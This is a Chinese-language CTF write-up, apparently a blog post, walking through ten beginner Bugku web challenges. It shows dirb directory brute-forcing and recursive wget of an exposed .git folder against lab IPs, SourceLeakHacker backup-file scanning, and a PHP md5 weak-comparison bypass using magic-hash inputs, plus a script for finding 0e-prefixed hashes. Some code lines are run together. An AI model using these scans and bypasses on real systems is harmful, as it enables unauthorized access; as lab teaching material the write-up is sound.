今天刷了一下?Bugku-CTF-web?的1-10題,比較簡單,比較娛樂,基本上看看源代碼就可以了,非常適合初學者。能夠學習到base64編碼,unicode編碼,dirb web目錄遍歷,SourceLeakHacker 備份文件遍歷,hackbar插件,wget 操作,git 操作,php 弱類型,md5 繞過等知識點。
ailx10
2001?次咨詢
4.9
網絡安全優秀回答者
互聯網行業 安全攻防員
去知乎ailx10 咨詢
1、滑稽
直接F12查看源代碼
2、計算器
F12查看源,發現限制了輸入長度
嘗試修改,發現修改不了值,繼續搜尋,發現code.js
前端代碼中存在flag
3、alert
打開網頁就是彈框,F12也看不了
廢話不多說,view-source:
直接強制查看源代碼
最后看到了一行注釋
<!-- flag{660161422cfcd39036fbea17a0146f6e} --></script>
直接Unicode解碼,拿到flag,也可以Python解碼
import htmlencoded_str = "flag{660161422cfcd39036fbea17a0146f6e}"
decoded_str = html.unescape(encoded_str)print(decoded_str)
4、你必須讓他停下
F12能看到flag,也是一瞬間就沒有了,還是?view-source:
?多刷幾次,就拿到flag了
5、頭等艙
查看源代碼:線索應該在請求頭里面
結果在響應頭中找到了 flag
6、GET
閱讀代碼,發一個GET請求就能拿到flag
7、POST
閱讀代碼,使用 Hackbar 提交一個POST請求,即可獲得flag
8、source
查看源代碼,拿到flag線索
flag{Zmxhz19ub3RfaGvyzSEHIQ==}
使用base64解碼,發現不是flag
嘗試目錄暴力破解
dirb http://114.67.175.224:12221/
可以發現存在?/.git/
?目錄
使用wget 遞歸下載
wget -r http://114.67.175.224:12221/.git
使用 git reflog 查看歷史操作記錄
使用 git show 40c6d51 查看到 flag
9、矛盾
在 PHP 中,當你使用?==
?進行比較時,如果比較的兩個值類型不同,PHP 會嘗試將它們轉換為相同的類型,然后再進行比較
10、備份是個好習慣
沒啥線索,根據題目,是有一個備份文件,暴力破解它
python3 SourceLeakHacker.py -u http://114.67.175.224:12717/
查看備份的php代碼
<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>
要拿到 flag,需要滿足條件?md5($key1) == md5($key2) && $key1 !== $key2
。
這意味著?$key1
?和?$key2
?的 MD5 哈希值必須相同,但?$key1
?和?$key2
?本身不能相同。[1]
http://114.67.175.224:12717/?kkeyey1=QNKCDZO&kkeyey2=240610708
寫個PHP腳本,輸出專屬ailx10的字符串,哈希結果是以0e開頭,后面跟著純數字
- md5(ailx10597395974) = 0e607193511294857832340276123482
- md5(ailx101258820612) = 0e410179301007418220015365512318
<?php
function findMD5Collision($prefix) {// 循環嘗試不同的字符串for ($i = 0; $i < pow(10, 12); $i++) {// 生成一個候選字符串$candidate = $prefix . $i;// 計算 MD5 哈希值$md5 = md5($candidate);// 檢查哈希值是否符合要求if (preg_match("/^0e[0-9]{30}$/", $md5)) {echo $candidate;return $candidate; // 返回符合條件的字符串}}return false; // 如果沒有找到,則返回 false
}$prefix = "ailx10"; // 我們希望字符串以 "ailx10" 為前綴
$string = findMD5Collision($prefix);
if ($string !== false) {echo "找到的字符串: " . $string . "\n";echo "MD5 哈希值: " . md5($string) . "\n";
} else {echo "未找到符合條件的字符串。\n";
}
?>
參考
- ^md5繞過(Hash缺陷)?php 弱類型總結 - Mrsm1th - 博客園
發布于 2024-10-06 07:42?江蘇?